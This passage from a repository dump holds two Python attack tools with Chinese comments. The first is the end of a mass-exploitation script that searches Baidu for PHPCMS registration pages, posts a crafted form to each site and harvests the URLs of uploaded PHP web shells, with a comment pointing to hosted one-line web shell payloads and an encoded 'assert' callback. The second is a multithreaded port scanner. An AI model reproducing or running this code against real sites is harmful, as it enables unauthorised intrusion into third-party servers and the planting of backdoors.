| "siteid": "1", 48 | "modelid": "1", 49 | "username": "akkumandsad", 50 | "password": "123456", 51 | "email": "akkakkumafa@qq.com", 52 | # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt 53 | "info[content]": "", 54 | "dosubmit": "1", 55 | "protocol": "", 56 | } 57 | for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10): 58 | try: 59 | if crawlUrl: 60 | rand_name = chars[Random().randint(0, len(chars) - 1)] 61 | data["username"] = "akkuman_%s" % rand_name 62 | data["email"] = "akkuman_%s@qq.com" % rand_name 63 | host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname 64 | url = host + "/index.php?m=member&c=index&a=register&siteid=1" 65 | htmlContent = requests.post(url, data=data, timeout=10) 66 | successUrl = "" 67 | if "MySQL Error" in htmlContent.text and "http" in htmlContent.text: 68 | successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php" 69 | print("[*]Shell : %s" % successUrl) 70 | saveShell(successUrl) 71 | if successUrl == "": 72 | print("[x]Failed : Failed to getshell.") 73 | else: 74 | continue 75 | except: 76 | print("Request Error") 77 | 78 | 79 | 80 | if __name__ == '__main__': 81 | main() 82 | -------------------------------------------------------------------------------- /端口扫描/MTPort.py: -------------------------------------------------------------------------------- 1 | #coding=UTF-8 2 | 3 | import threading 4 | import socket 5 | import time 6 | import random 7 | 8 | def scanner(ip,port) : 9 | try : 10 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 11 | result = s.connect_ex((ip,port)) 12 | if result == 0 : 13 | print ip,u':',port,u'端口开放' 14 | s.close() 15 | except : 16 | print u'端口扫描异常' 17 | 18 | def port_scan(ip) : 19 | try : 20 | print u'开始扫描 %s' % ip 21 | start_time = time.time() 22 | buf = range(0,65535) 23 | threads = [] 24 | #random.shuffle(buf) 25 | for i in buf : 26 | t = threading.Thread(target = scanner,args = (ip,int(i))) 27 | threads.append(t) 28 | for t in threads : 29 | t.start() 30 | for t in threads : 31 | t.join() 32 | print u'端口扫描完毕,总共用时 : %.2f' % (time.time() - start_time) 33 | raw_input("Press Enter to Exit") 34 | except : 35 | print u'扫描ip出错' 36 | 37 | if __name__ == '__main__' : 38 | target = raw_input('Input the ip you want to scan : ') 39 | port_scan(target) 40 | 41 | 42 | --------------------------------------------------------------------------------